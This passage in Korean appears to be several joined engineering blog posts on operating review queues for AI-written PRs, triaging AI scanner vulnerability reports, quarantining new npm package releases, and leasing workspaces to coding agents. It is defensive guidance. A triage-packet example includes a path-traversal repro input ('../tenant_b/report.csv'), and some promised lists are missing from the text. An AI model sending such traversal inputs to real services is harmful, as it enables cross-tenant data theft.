한 달만 모아도 어디를 자동화해야 할지 보입니다. nit/format이 많으면 formatter 문제이고, missing-evidence가 많으면 PR intake 문제이며, risk-underestimated가 많으면 scoring 모델을 손봐야 합니다.

5) 2주 파일럿으로 먼저 검증한다

Backlog OS는 처음부터 전사 플랫폼으로 만들 필요가 없습니다. 오히려 너무 크게 시작하면 리뷰어가 새 도구를 또 하나 배워야 하고, AI PR 자체에 대한 거부감이 커질 수 있습니다. 저는 2주 파일럿으로 한 저장소, 한 팀, 한 변경 유형부터 시작하는 쪽을 선호합니다.

첫 주는 관측과 분류에 집중합니다.

• 최근 2주 PR을 human, agent, bot, mixed로 나눈다.
• 각 PR에 risk class, owner 지정 여부, evidence 존재 여부, rollback note 존재 여부를 수동 라벨링한다.
• review wait p95, first-pass merge rate, revision count, CI 재실행 횟수, revert 여부를 뽑는다.
• stale PR은 닫지 말고 원인을 먼저 분류한다. 닫기부터 하면 큐가 왜 막혔는지 학습할 기회를 잃는다.

둘째 주는 작은 정책 적용에 집중합니다.

• low-risk AI PR에만 intake form을 강제한다.
• high-risk path detector를 규칙 기반으로 붙인다. 예를 들어 auth/, billing/, migrations/, .github/workflows/, lockfile은 자동으로 high-risk 후보가 된다.
• evidence 누락 PR은 리뷰 요청이 아니라 draft 유지로 돌린다.
• 하루 merge budget을 낮게 잡고, 배포 후 30분 동안 error rate와 rollback 필요 여부를 기록한다.

이 파일럿의 성공 기준은 자동 병합 비율이 아닙니다. 더 좋은 기준은 아래 세 가지입니다.

반대로 파일럿 중 risk-underestimated 코멘트가 늘거나 high-risk PR이 low-risk lane에 들어오면 자동화를 넓히면 안 됩니다. 그때는 모델을 바꿀 문제가 아니라 규칙 기반 detector와 CODEOWNERS 매핑을 먼저 보강해야 합니다.

트레이드오프/주의점

1) 게이트가 많으면 에이전트 장점이 사라질 수 있다

모든 AI PR에 high-risk 수준의 증거와 승인을 요구하면 속도 이점이 사라집니다. 그래서 핵심은 균등 통제가 아니라 위험도별 통제입니다. low-risk는 빠르게, high-risk는 느리지만 확실하게 처리해야 합니다.

2) 자동 라벨링을 과신하면 위험하다

AI가 자기 변경을 low-risk로 분류할 수는 있지만, 그 판단을 그대로 믿으면 안 됩니다. 최소한 파일 경로, CODEOWNERS, dependency diff, migration 여부, 보안 민감 경로는 규칙 기반으로 교차검증해야 합니다. 자동 분류는 추천이고, 고위험 신호는 fail-closed가 안전합니다.

3) 리뷰 큐를 운영하면 숨겨진 조직 문제가 드러난다

어떤 팀은 owner가 없고, 어떤 모듈은 테스트가 없고, 어떤 서비스는 롤백 절차가 없습니다. Backlog OS를 만들면 이런 문제가 숫자로 보입니다. 불편하지만 좋은 신호입니다. AI 도구가 만든 문제가 아니라, 원래 있던 운영 부채가 생성량 증가로 드러난 것입니다.

4) 병합 속도와 배포 속도는 다르다

PR을 빨리 병합해도 배포가 느리거나 롤백이 어렵다면 사용자 가치로 이어지지 않습니다. merge queue 지표와 deployment 지표를 분리해서 봐야 합니다. 병합 후 운영 반영까지의 lead time, 배포 실패율, rollback time을 같이 추적해야 진짜 병목이 보입니다.

체크리스트 또는 연습

운영 체크리스트

• AI PR에 risk class, owner, impact path, evidence, rollback note가 필수로 들어간다.
• high-risk 경로(인증/결제/DB/CI/배포/lockfile)는 자동 병합 제외로 고정돼 있다.
• review wait p95, first-pass merge rate, revision count, revert rate, stale PR age를 주간으로 본다.
• low/medium/high별 merge budget과 stale policy가 있다.
• CODEOWNERS와 테스트 명령이 저장소 안에서 최신으로 유지된다.
• 자동 라벨링 결과를 규칙 기반 high-risk detector가 교차검증한다.
• 배포 런북과 rollback note가 연결돼 있다.

연습

1. 최근 2주 PR을 사람/AI/봇/혼합으로 나누고, 각 그룹의 review wait p95와 revert rate를 계산해 보세요.
2. 현재 AI PR 템플릿에 evidence와 rollback note가 없으면, 필수 입력으로 추가해 보세요.
3. 저장소의 high-risk path를 10개만 정해 자동 병합 제외 규칙을 만들어 보세요.
4. stale PR 10개를 골라 원인을 owner 없음, 증거 부족, CI 실패, scope 과대, 우선순위 낮음으로 분류해 보세요.

AI 코딩 에이전트의 가치는 PR을 많이 만드는 데서 끝나지 않습니다. 팀이 감당할 수 있는 큐 안에서, 충분한 증거와 적절한 소유자와 안전한 병합 순서를 갖춘 변경만 제품으로 들어갈 때 진짜 생산성이 됩니다. 앞으로의 차이는 “누가 더 많은 코드를 만들었나"보다 누가 더 좋은 변경 대기열을 운영하나에서 날 가능성이 큽니다.

최근 2026-05-11 개발 뉴스에서도 비슷한 신호를 다뤘습니다. AI 보안 도구가 여러 “confirmed vulnerability"를 제시했지만 maintainer 검토 후 실제 보안 취약점은 일부로 줄고, 나머지는 false positive나 일반 버그로 분류되는 상황이 반복되고 있습니다. 이건 AI 보안 도구가 쓸모없다는 뜻이 아닙니다. 오히려 반대입니다. 공격자도 같은 자동 탐색 능력을 쓰게 될 것이므로, 방어팀도 이 능력을 받아들여야 합니다. 다만 받아들이는 방식은 자동 공개나 자동 패치가 아니라 AI Vulnerability Triage Pipeline이어야 합니다.

이 흐름은 Synthetic Replay + Eval Gate, Test Evidence Pipeline, Review Ops, Policy Shadow Rollout과 같은 축 위에 있습니다. AI가 발견을 늘릴수록 팀의 경쟁력은 발견량이 아니라 판정 처리량과 증거 품질에서 갈립니다.

이 글에서 얻는 것

• AI 보안 스캐너를 붙일 때 왜 triage pipeline이 먼저 필요한지 이해할 수 있습니다.
• 취약점 후보를 confirmed, duplicate, bug, hardening, false positive로 나누는 운영 기준을 잡을 수 있습니다.
• 재현 증거, 심각도 판정, 패치 검증, 공개 정책을 하나의 큐로 묶는 실무 기준을 가져갈 수 있습니다.

핵심 개념/이슈

1) AI 리포트는 취약점이 아니라 후보 신호다

AI 도구가 “SQL injection 가능성”, “path traversal”, “auth bypass” 같은 문장을 만들었다고 해서 바로 취약점이 확정되는 것은 아닙니다. 보안 리포트가 되려면 최소한 아래 질문에 답해야 합니다.

• 영향을 받는 버전과 설정은 무엇인가?
• 공격자가 필요한 권한과 전제조건은 무엇인가?
• 실제로 민감 데이터 접근, 권한 상승, 서비스 중단 같은 영향이 발생하는가?
• 재현 입력 또는 최소 PoC가 있는가?
• 기존 테스트나 정책이 왜 이 경로를 잡지 못했는가?
• 패치하면 어떤 동작이 바뀌고, 회귀 위험은 무엇인가?

이 답이 없으면 아직 “후보"입니다. 후보를 무시하자는 뜻은 아닙니다. 후보를 후보로 다뤄야 한다는 뜻입니다. 내부 큐에서는 candidate 상태로 받고, 재현이 되면 confirmed, 이미 알려진 문제면 duplicate, 보안 영향이 없으면 bug 또는 hardening, 근거가 틀리면 false_positive로 닫습니다.

2) false positive보다 더 큰 문제는 처리 큐 붕괴다

AI 스캐너 도입 논의는 보통 false positive 비율에 집중합니다. 물론 중요합니다. 하지만 실무에서는 큐 붕괴가 더 먼저 옵니다. 리포트가 주당 10건일 때는 보안 담당자가 다 읽을 수 있습니다. 주당 100건이 되면 중복과 낮은 심각도 후보가 P1 후보를 가립니다. 주당 500건이 되면 팀은 알림을 무시하기 시작합니다.

초기 지표는 아래 다섯 개면 충분합니다.

여기서 confirmed rate가 낮다고 바로 AI 도구를 버릴 필요는 없습니다. 후보 생성 범위를 줄이거나, 특정 취약점 클래스만 허용하거나, 재현 템플릿 없이는 큐에 넣지 않도록 바꾸면 됩니다. 중요한 것은 숫자 없이 “AI가 시끄럽다"고 느끼는 상태를 벗어나는 것입니다.

3) triage packet은 자유 서술 리포트보다 강하다

AI 보안 리포트를 이메일이나 Markdown 장문으로 받으면 처리 품질이 흔들립니다. 어떤 리포트는 근거가 있고, 어떤 리포트는 추측만 있으며, 어떤 리포트는 같은 문제를 다른 이름으로 반복합니다. 그래서 후보는 구조화된 triage packet으로 받아야 합니다.

finding_id: ai-sec-20260513-017
status: candidate
class: path_traversal
affected_component: file-export-service
affected_versions: ["2.4.0", "2.4.1"]
entrypoint: "GET /exports/{fileName}"
attacker_precondition: "authenticated user with export:read"
impact_claim: "read arbitrary tenant export files"
repro_steps:
  - "create export as tenant_a"
  - "request ../tenant_b/report.csv with crafted fileName"
expected_security_boundary: "tenant_id must match session tenant"
evidence_refs:
  - "test: ExportPathTraversalCandidateTest#blocksParentDirectory"
  - "trace: sec-replay-1821"
confidence: medium
owner: security-platform
embargo: internal

이 구조가 있으면 duplicate merge, severity routing, 재현 자동화, 패치 검증이 쉬워집니다. Reproduction Bundle처럼 재현 가능한 증거 묶음과 연결하면 더 좋습니다. 핵심은 AI가 만든 설명을 그대로 믿는 것이 아니라, 설명을 검증 가능한 입력으로 바꾸는 것입니다.

triage packet에서 바로 갈라야 하는 5가지 상태

운영 큐가 커질수록 모든 후보를 open 하나로 두는 방식은 금방 무너집니다. 저는 최소한 아래 5개 상태를 처음부터 나누는 편이 낫다고 봅니다. 상태를 나누면 보안팀이 모든 후보를 직접 붙잡고 있지 않아도, 어떤 후보가 제품팀 수정으로 넘어가고 어떤 후보가 더 많은 증거를 기다리는지 분명해집니다.

이 구분에서 중요한 점은 false_positive를 실패로만 보지 않는 것입니다. 잘 정리된 오탐은 다음 스캔 품질을 올리는 학습 데이터가 됩니다. 반대로 hardening을 전부 취약점처럼 다루면 SLA가 터지고, 실제 P1 후보가 묻힙니다. 취약점 큐와 개선 backlog를 분리해야 운영자가 매일 같은 논쟁을 반복하지 않습니다.

실무 적용

1) severity rubric을 먼저 고정한다

AI 도구가 후보를 만들 때마다 “이건 심각해 보인다"는 문장에 끌리면 큐가 흔들립니다. 조직은 취약점 등급표를 먼저 정해야 합니다.

• P0: 인증 없이 원격 코드 실행, 대규모 고객 데이터 유출, production credential 탈취 가능
• P1: 권한 상승, 테넌트 간 데이터 접근, 결제·정산 무결성 훼손, 인증 우회
• P2: 제한된 정보 노출, 특정 권한 보유자의 기능 악용, DoS 가능성
• P3: hardening 필요, 방어 우회 가능성 낮음, 보안 영향 불명확한 일반 버그

권장 SLA는 P0 즉시 paging, P1 24시간 내 1차 판정, P2 3영업일, P3 주간 batch입니다. 모든 후보를 같은 속도로 보려 하면 중요한 것을 놓칩니다. 이 기준은 OWASP Top 10 대응 체크리스트나 CI/CD 보안의 기본 게이트와 함께 맞춰야 합니다.

2) 자동 패치보다 자동 재현을 먼저 붙인다

AI가 취약점 후보를 찾고 바로 PR까지 만들 수 있으면 매력적으로 보입니다. 하지만 보안 패치는 일반 리팩터링보다 더 위험합니다. 잘못된 패치는 취약점을 닫지 못하거나, 정상 고객 플로우를 깨거나, 취약점 위치를 외부에 더 선명하게 드러낼 수 있습니다.

따라서 초기 순서는 아래가 낫습니다.

1. AI 후보 생성
2. triage packet 생성
3. 최소 재현 테스트 또는 exploitability check 생성
4. 보안 owner 1차 판정
5. 패치 PR 생성 또는 수동 할당
6. 재현 테스트가 실패에서 성공으로 바뀌는지 검증
7. regression/security test를 CI에 고정
8. 공개·고객 공지·CVE 여부 판단

이 구조에서는 AI가 코드를 고치기 전, 먼저 “문제가 실제로 있는지"를 증명해야 합니다. Test Evidence Pipeline이 중요한 이유도 여기에 있습니다.

3) 공개 리포트와 내부 후보를 분리한다

오픈소스 프로젝트나 외부 vendor에 AI 리포트를 보낼 때는 특히 조심해야 합니다. 근거 없는 장문 리포트는 maintainer의 시간을 빼앗고, 프로젝트와 도구 모두에 대한 신뢰를 떨어뜨립니다. 내부 후보 큐에서는 불완전한 신호도 받을 수 있지만, 외부 제출 전에는 최소 기준을 통과해야 합니다.

외부 리포트 전 필수 조건은 아래 정도로 잡을 수 있습니다.

• 최소 재현 입력 또는 환경 설명
• 영향 범위와 버전 명시
• 공격 전제조건 명시
• 보안 영향과 일반 버그의 구분
• 중복 리포트 검색 결과
• 공개 가능 정보와 비공개로 남겨야 할 정보 구분

고객 데이터, 인증 우회, 공급망 키, 0-day 가능성이 있는 경우에는 embargo 정책이 필요합니다. AI가 발견했다는 사실 자체가 공개되어도 공격 힌트가 될 수 있기 때문입니다.

트레이드오프/주의점

첫째, AI 보안 스캐너는 보안팀을 대체하지 않습니다. 후보 생성 비용을 낮추는 도구이지, 책임 있는 판정자를 없애는 도구가 아닙니다.

둘째, false positive를 너무 공격적으로 줄이면 missed critical이 늘 수 있습니다. Policy Shadow Rollout에서처럼 오탐과 미탐을 함께 봐야 합니다.

셋째, 자동 패치 PR은 내부 저장소에서는 유용할 수 있지만 외부 오픈소스에는 조심해야 합니다. maintainer가 원하는 것은 그럴듯한 패치보다 명확한 재현과 영향 설명일 때가 많습니다.

넷째, AI 도구에 민감 코드와 비밀값을 그대로 넣으면 새로운 유출 표면이 됩니다. 보안 분석 환경은 read-only, secret redaction, 네트워크 제한, audit log를 기본으로 둬야 합니다.

다섯째, CVE·고객 공지·엠바고 판단은 기술 문제가 아니라 신뢰 운영 문제입니다. 탐지 자동화가 빨라질수록 공개 정책이 느슨하면 사고 비용이 커집니다.

체크리스트 또는 연습

운영 체크리스트

• AI 보안 후보를 candidate/confirmed/duplicate/bug/hardening/false_positive로 분류한다.
• triage packet에 affected version, precondition, impact, repro, evidence ref가 있다.
• P0/P1/P2/P3 severity rubric과 SLA가 문서화되어 있다.
• duplicate merge 기준과 owner routing 규칙이 있다.
• 패치 PR에는 재현 테스트와 회귀 테스트가 함께 붙는다.
• 외부 공개 전 human gate와 embargo 판단이 있다.
• confirmed rate, duplicate rate, median triage time, SLA miss, patch verification pass rate를 본다.

연습

1. 최근 보안 스캐너 또는 코드 리뷰에서 나온 후보 20개를 골라 위 여섯 상태로 다시 분류해 보세요. false positive보다 duplicate와 hardening 비율이 더 클 수 있습니다.
2. 가장 자주 나오는 취약점 클래스 하나를 골라 triage packet 템플릿을 작성하세요. 예를 들어 path traversal, SSRF, IDOR, SQL injection 중 하나면 충분합니다.
3. P1 후보가 들어왔을 때 24시간 안에 누가 재현, 영향 판정, 고객 영향 범위, 패치 owner를 맡는지 runbook으로 써 보세요.
4. AI가 만든 보안 리포트를 외부 maintainer에게 보내기 전 체크리스트를 만들어 보세요. 재현 없는 리포트는 내부 후보로만 남기는 규칙을 포함해야 합니다.

정리하면 AI 보안 도구의 경쟁력은 더 무서운 문장을 만드는 데 있지 않습니다. 좋은 팀은 AI가 만든 후보를 구조화하고, 재현하고, 심각도를 판정하고, 패치를 검증하고, 공개 경계를 지킵니다. 앞으로 취약점 탐지는 더 자동화될 가능성이 큽니다. 그래서 더더욱 판정과 책임은 운영 체계로 내려와야 합니다.

이 흐름이 보여주는 변화는 단순합니다. 이제 패키지 릴리스는 “새 버전이 나왔다"가 아니라 보안 이벤트입니다. registry publish, CI cache, trusted publishing, lifecycle script, 설치 호스트의 cloud credential이 한 줄로 연결되면, 새 버전을 받는 자동화가 그대로 사고 전파 자동화가 됩니다. 그래서 저는 앞으로 팀들이 Package Release Quarantine Gate를 더 자주 도입할 거라고 봅니다. 이 글은 Dependency Update Pipeline, AI Code Provenance와 SBOM, Third-party OAuth 공급망, CI/CD 보안과 공급망을 패키지 설치 시점까지 끌어내린 운영 기준입니다.

이 글에서 얻는 것

• 패키지 registry publish를 단순 릴리스가 아니라 신뢰 경계가 바뀌는 이벤트로 볼 수 있습니다.
• 새 버전을 내부 lockfile에 반영하기 전에 어떤 검증을 quarantine gate에 넣을지 기준을 잡을 수 있습니다.
• 빠른 보안 패치와 공급망 사고 차단 사이의 trade-off를 숫자와 risk tier로 운영할 수 있습니다.

핵심 개념/이슈

1) 최신 버전을 빨리 받는 자동화는 양날의 검이다

의존성 업데이트 자동화는 필요합니다. 보안 패치를 늦게 받으면 이미 알려진 취약점에 오래 노출됩니다. 하지만 자동 업데이트가 registry publish 직후 lockfile을 바꾸고, CI가 바로 설치하고, preview 환경이 자동 배포된다면 공격자 입장에서는 전파 경로가 깔끔하게 준비된 셈입니다.

그래서 업데이트 파이프라인에는 속도만이 아니라 짧은 대기와 검증이 들어가야 합니다.

핵심은 무조건 늦추자는 것이 아닙니다. registry publish 직후 15분만 지나도 외부 연구자, registry 보안 시스템, 커뮤니티 탐지, vendor advisory가 작동할 시간이 생깁니다. TanStack 사건도 외부 탐지가 약 20분 안에 이뤄졌다는 점이 시사적입니다. 작은 대기 시간이 blast radius를 크게 줄일 수 있습니다.

2) 검증 대상은 소스 저장소가 아니라 tarball이다

공급망 사고에서 자주 놓치는 점은 GitHub repository가 깨끗해 보여도 registry tarball은 다를 수 있다는 것입니다. npm publish에 포함되는 파일, prepare/postinstall script, optionalDependencies, bundled dependency, generated artifact는 소스 diff만으로는 충분히 보이지 않습니다.

quarantine gate는 최소한 아래를 확인해야 합니다.

• 새 tarball에 repository에 없는 대용량 JS, binary, encoded payload가 들어갔는가
• preinstall, install, postinstall, prepare lifecycle script가 새로 생겼거나 바뀌었는가
• optionalDependencies, peerDependenciesMeta, git URL dependency가 갑자기 추가됐는가
• publish actor, trusted publishing workflow, OIDC subject가 예상 범위인가
• 같은 maintainer가 짧은 시간에 여러 package를 대량 publish했는가
• semver patch인데 파일 수·bundle 크기·권한 요구가 과하게 늘었는가

이 기준은 AI Code Provenance와 SBOM에서 말한 출처 증거와 이어집니다. SBOM은 “무엇을 썼는가"를 보여주고, quarantine gate는 “이 새 버전을 지금 받아도 되는가"를 결정합니다.

3) install host의 비밀값이 blast radius를 결정한다

악성 패키지는 production 서버에 배포되지 않아도 위험합니다. npm install, pnpm install, yarn install이 실행되는 CI runner나 개발자 노트북에 cloud credential, kubeconfig, GitHub token, npm token, SSH private key가 있으면 설치 시점이 곧 침해 시점이 됩니다. 이번 TanStack 포스트모템도 설치 호스트에서 접근 가능한 AWS, GCP, Kubernetes, Vault, GitHub, npm, SSH credential 회전을 권고했습니다.

따라서 dependency 보안은 package scanner만으로 끝나지 않습니다. 설치 환경의 권한을 줄여야 합니다.

• dependency install job에는 production cloud credential을 넣지 않는다.
• npm publish 권한과 dependency install 권한을 같은 runner에 주지 않는다.
• preview CI token은 repo read와 artifact upload 정도로 좁힌다.
• 외부 PR에서 복원한 cache를 release workflow가 그대로 신뢰하지 않는다.
• id-token: write는 필요한 job에만 주고, untrusted code 실행 단계와 분리한다.

이 관점은 Third-party OAuth 공급망과 비슷합니다. 토큰은 코드보다 오래 남고, 한 번 새면 blast radius가 저장소 바깥으로 번집니다.

4) release workflow는 성공/실패보다 provenance가 중요해진다

전통적인 CI에서는 workflow가 green이면 안전하다고 봤습니다. 하지만 이제는 “어떤 workflow가 어떤 subject로 어떤 artifact를 publish했는가"가 더 중요합니다. 테스트가 실패했는데 package가 publish됐다면, 그 자체가 강한 이상 신호입니다. 예정된 publish step이 아닌 다른 프로세스가 registry에 직접 POST했다면, 테스트 결과와 무관하게 사고입니다.

그래서 release receipt에는 아래 필드가 필요합니다.

package: "@example/core"
version: "1.24.7"
registry: "npm"
published_at: "2026-05-12T01:00:00Z"
publisher_subject: "repo:org/repo:ref:refs/heads/main:workflow:release.yml"
workflow_run_id: "..."
commit_sha: "..."
tarball_sha256: "..."
sbom_sha256: "..."
lifecycle_scripts_changed: false
quarantine_result: "passed"
approver: "dependency-bot-policy"

이런 receipt가 있어야 나중에 “이 버전은 정상 release lane을 통과했는가"를 빠르게 확인할 수 있습니다. Execution Receipt가 에이전트 실행 증거라면, package release receipt는 의존성 업데이트의 실행 증거입니다.

실무 적용

1) dependency update bot 앞에 hold queue를 둔다

가장 현실적인 시작점은 dependency update bot이 PR을 만들기 전에 hold queue를 거치게 하는 것입니다. 새 버전이 감지되면 바로 lockfile을 열지 않고, package risk tier에 따라 15~120분 대기하면서 검증 결과를 모읍니다.

기본 파이프라인은 이 정도면 충분합니다.

new registry version detected
→ risk tier 계산
→ quarantine window 시작
→ tarball/provenance/lifecycle 검증
→ advisory/community signal 확인
→ internal allow/deny decision
→ lockfile PR 생성
→ CI는 secret-minimized install 환경에서 실행

처음부터 모든 검증을 자동화할 필요는 없습니다. 우선순위는 lifecycle script 변경, tarball diff, git URL dependency, publish actor anomaly입니다. 이 네 가지가 잡히면 큰 사고의 상당 부분을 줄일 수 있습니다.

2) CI cache trust boundary를 분리한다

이번 사고에서 중요한 교훈은 cache가 단순 성능 최적화가 아니라 trust boundary라는 점입니다. 외부 PR이 base repository 권한으로 cache를 저장하고, release workflow가 그 cache를 복원하면, PR 코드가 release runtime에 간접적으로 들어옵니다.

운영 기준은 보수적으로 잡는 편이 좋습니다.

• pull_request_target에서는 fork code checkout 후 build/install을 하지 않는다.
• 외부 PR cache key와 main/release cache key를 완전히 분리한다.
• release job은 untrusted PR에서 생성된 cache를 복원하지 않는다.
• cache hit 여부를 release receipt에 남긴다.
• cache restore 후 package manager store integrity 검증을 실행한다.
• third-party GitHub Action은 tag보다 full-length commit SHA pin을 우선한다.

이 부분은 CI/CD 보안과 공급망의 실전판입니다. cache는 빠르게 만들지만, 잘못 섞이면 공격자가 만든 파일을 가장 신뢰해야 하는 release job이 실행하게 됩니다.

3) lifecycle script를 allowlist로 바꾼다

npm ecosystem에서는 lifecycle script가 강력합니다. 필요한 경우도 많지만, 공급망 공격에서는 가장 쉬운 실행 지점입니다. 따라서 CI에서는 기본적으로 lifecycle script를 비활성화하거나, 패키지별 allowlist를 두는 방향이 안전합니다.

현실적인 단계는 아래와 같습니다.

1. dependency install 단계에서 실행된 lifecycle script 목록을 기록한다.
2. 상위 20개 패키지부터 script 필요성을 확인한다.
3. 새 script가 생기면 quarantine gate에서 자동 보류한다.
4. production build runner에는 install-time secret을 넣지 않는다.
5. allowlist 없는 script 실행은 preview CI에서 먼저 차단해 영향도를 본다.

무조건 ignore-scripts를 켜면 일부 패키지가 깨질 수 있습니다. 그래서 바로 전면 차단보다 관측 → allowlist → high-risk 경로 차단 순서가 현실적입니다.

4) 사고 대응은 “설치한 사람” 기준으로 준비한다

공급망 사고가 나면 흔히 “우리 서비스에 배포됐나"만 묻습니다. 하지만 install-time malware라면 질문은 달라져야 합니다. “누가 그 버전을 설치했나”, “그 설치 호스트에 어떤 비밀값이 있었나”, “그 호스트가 publish 권한이나 cloud 권한을 가졌나"를 먼저 봐야 합니다.

대응 runbook의 최소 항목은 다음입니다.

• 영향을 받은 package/version과 설치 시간 범위 확인
• CI logs, dependency cache, local developer install telemetry 조회
• 해당 시간대 install host의 secret inventory 확인
• cloud, GitHub, npm, SSH, Vault, Kubernetes credential 회전 우선순위 결정
• malicious version deprecate/pull 여부 확인
• 내부 lockfile과 artifact cache에서 해당 버전 제거
• 재설치 전 clean runner에서 lockfile 재검증

회전 우선순위는 publish 권한 > cloud admin 권한 > production runtime secret > repo write token > read-only token 순서로 잡는 것이 안전합니다. 모든 secret을 동시에 회전하려 하면 운영이 멈출 수 있으니 blast radius 기준으로 나눠야 합니다.

트레이드오프/주의점

첫째, quarantine gate는 분명 속도를 늦춥니다. 보안 패치가 나온 직후 자동으로 들어오던 팀은 답답하게 느낄 수 있습니다. 그래서 window를 일괄 24시간으로 두는 방식은 추천하지 않습니다. 대부분의 팀에는 15~120분의 짧은 window와 risk tier가 더 낫습니다.

둘째, 검증 자동화가 false positive를 만들 수 있습니다. semver patch에서 파일 수가 늘었다고 모두 공격은 아닙니다. 대형 프레임워크는 정상 릴리스에서도 generated file이 크게 바뀔 수 있습니다. 그래서 차단보다 보류, 보류보다 human review lane으로 설계해야 개발팀이 우회하지 않습니다.

셋째, provenance가 있어도 완전한 안전을 보장하지 않습니다. 정상 workflow가 오염된 cache를 복원하거나, maintainer 계정이 침해되거나, release script 내부가 악성 dependency를 실행하면 provenance는 “어디서 왔는지"는 말해주지만 “안전한지"를 보장하지 않습니다. provenance는 출발점이고, tarball diff와 설치 환경 최소 권한이 같이 필요합니다.

넷째, 개발자 노트북을 빼놓으면 반쪽입니다. CI는 잘 잠갔는데 개발자 로컬에 cloud profile, SSH key, npm token이 모두 있다면 devDependency 사고가 바로 조직 사고가 됩니다. 최소한 high-risk package 설치는 container/devcontainer에서 하고, 로컬 장기 token은 줄이는 방향으로 가야 합니다.

의사결정 우선순위는 설치 호스트 비밀값 축소 > release provenance 확인 > tarball/lifecycle 검증 > quarantine window > 자동 업데이트 속도입니다. 최신 버전을 빨리 받는 능력은 중요하지만, 악성 버전도 똑같이 빨리 받는 구조라면 속도가 아니라 취약점입니다.

체크리스트 또는 연습

체크리스트

• critical dependency 목록과 risk tier가 정해져 있다.
• dependency update bot이 registry publish 직후 바로 lockfile PR을 열지 않고 quarantine window를 거친다.
• 새 tarball의 lifecycle script, optionalDependencies, git URL dependency 변경을 검사한다.
• release receipt에 publisher subject, workflow run, commit SHA, tarball hash가 남는다.
• 외부 PR cache와 main/release cache가 분리되어 있다.
• pull_request_target에서 fork code를 checkout해 build/install하지 않는다.
• CI install job에는 production cloud token, npm publish token, SSH private key가 없다.
• lifecycle script allowlist 또는 최소한 관측 로그가 있다.
• 악성 버전 설치 시 secret rotation 우선순위가 runbook에 있다.
• 내부 artifact cache와 lockfile에서 차단 버전을 제거하는 절차가 있다.

연습

1. 현재 프로젝트의 dependency 중 CI에서 설치되는 상위 20개를 뽑고, lifecycle script가 있는 패키지를 표시해 보세요. 이 목록이 곧 첫 allowlist 후보입니다.
2. dependency update bot PR에 30분 quarantine window를 붙인다고 가정하고, 긴급 CVE 패치만 통과시키는 break-glass 조건을 3개로 제한해 보세요. 예: public exploit 존재, production reachable, fix version provenance 확인.
3. pull_request_target, cache restore, id-token: write, npm trusted publishing을 쓰는 workflow를 찾아 신뢰 경계 다이어그램을 그려 보세요. 외부 PR에서 생성된 파일이 release job으로 들어가는 경로가 하나라도 있으면 먼저 끊어야 합니다.

관련 글

• Dependency Update Pipeline
• AI Code Provenance와 SBOM
• Third-party OAuth 공급망
• CI/CD 보안과 공급망
• Execution Receipt

그래서 최근 흐름은 단순히 “에이전트에게 폴더를 하나 주자"에서 한 단계 더 나아가고 있습니다. 저는 이걸 Agent Workspace Lease Broker라고 부르는 편이 좋다고 봅니다. 작업공간을 영구 소유물이 아니라, 제한된 시간 동안 발급되는 lease로 보는 방식입니다. 이 관점은 Stateful Sandbox Snapshot, Harness Engineering, Background Agent Session Result Inbox, Agent Handoff Packet과 자연스럽게 이어집니다. 핵심은 에이전트가 코드를 잘 쓰는가보다, 작업공간의 시작·변경·검증·회수가 설명 가능한가입니다.

이 글에서 얻는 것

• 코딩 에이전트 작업공간을 단순 worktree가 아니라 lease 단위 운영 자원으로 봐야 하는 이유를 이해할 수 있습니다.
• lease에 repo, branch, allowed paths, TTL, secret scope, validation contract를 넣는 기준을 잡을 수 있습니다.
• 병렬 에이전트 작업에서 merge 충돌, stale 환경, 비밀값 노출, 결과 회수 누락을 줄이는 실무 절차를 설계할 수 있습니다.

핵심 개념/이슈

1) 작업공간은 폴더가 아니라 실행 계약이다

Git worktree, devcontainer, sandbox snapshot은 모두 유용합니다. 하지만 그것만으로는 운영 질문에 답하기 어렵습니다. 예를 들어 에이전트 A가 billing 모듈을 고치고, 에이전트 B가 같은 repo에서 auth 모듈을 고친다고 합시다. 폴더는 분리돼 있어도 shared test database, dependency cache, feature flag config, generated file, lock file이 겹치면 결과가 서로 오염될 수 있습니다.

Lease는 이 경계를 명시합니다.

lease_id: ws_20260511_001
repo: study-blog
base_ref: main@abc123
branch: agent/authz-cache-playbook
allowed_paths:
  - content/learning/deep-dive/**
ttl_minutes: 180
secret_scope: none
network_scope: docs-readonly
validation_contract:
  - markdown frontmatter check
  - internal link check
  - word count gate
cleanup_policy: archive_24h_then_delete
result_target: background-agent-inbox

이렇게 적으면 작업공간은 그냥 위치가 아니라 “어디까지 해도 되는지"와 “언제 끝나야 하는지"를 가진 자원이 됩니다. Capability Lease가 권한의 시간 제한이라면, workspace lease는 파일·환경·검증 범위의 시간 제한입니다.

2) 병렬성의 진짜 비용은 merge 시점에 온다

에이전트를 여러 개 띄우면 초반에는 생산성이 크게 오른 것처럼 보입니다. 하지만 같은 모듈, 같은 테스트 fixture, 같은 generated schema를 건드린 작업이 나중에 한꺼번에 합쳐지면 사람이 충돌을 풀어야 합니다. 이때 문제는 단순 Git conflict가 아닙니다. 두 변경이 각각은 통과했지만 함께 돌리면 깨지는 semantic conflict가 더 흔합니다.

그래서 lease broker는 작업 생성 시점에 충돌 가능성을 낮춰야 합니다.

• repo별 동시 active lease: 처음에는 3~5개 이하
• 같은 top-level module 동시 수정: 기본 1개, 예외 시 owner 승인
• 수정 파일 수 예상 10개 초과 또는 서비스 2개 이상 영향: 별도 merge lane
• generated file, migration, lockfile 수정: lease 생성 시 conflict flag 부여
• base ref가 main보다 24시간 이상 뒤처지면 rebase 또는 재생성 요구

이 기준은 Change Intelligence Control Plane과 닮았습니다. 차이는 change intelligence가 변경 위험을 읽는 계층이라면, workspace lease broker는 위험한 충돌이 생기기 전에 작업공간 배정을 조정하는 계층이라는 점입니다.

3) stale workspace는 실패보다 더 조용하게 위험하다

실패한 에이전트 작업은 눈에 보입니다. 테스트가 깨지고, 에러가 남고, 리뷰어가 멈춥니다. 더 위험한 것은 오래 살아남은 작업공간입니다. 3일 전 dependency 상태, 이미 바뀐 API 계약, 만료된 feature flag, 예전 환경변수가 남아 있는데 에이전트가 그 위에서 새 코드를 생성하면 결과는 그럴듯하지만 최신 main과 맞지 않을 수 있습니다.

따라서 lease에는 freshness 기준이 필요합니다.

이 관점은 Context Freshness Budget과도 같습니다. 오래된 컨텍스트가 답을 오염시키듯, 오래된 작업공간은 diff를 오염시킵니다.

4) 결과 회수는 diff가 아니라 lease 종료 이벤트다

백그라운드 에이전트 결과를 받을 때 “수정했습니다” 한 줄은 부족합니다. 사람이 필요한 것은 merge 가능한 상태인지, 어떤 검증을 통과했는지, 어떤 파일이 lease 범위를 벗어났는지, 작업공간을 지워도 되는지입니다. 그래서 result inbox에는 diff summary만이 아니라 lease 종료 이벤트가 들어가야 합니다.

종료 이벤트의 최소 필드는 다음입니다.

• lease id, repo, branch, base ref, final ref
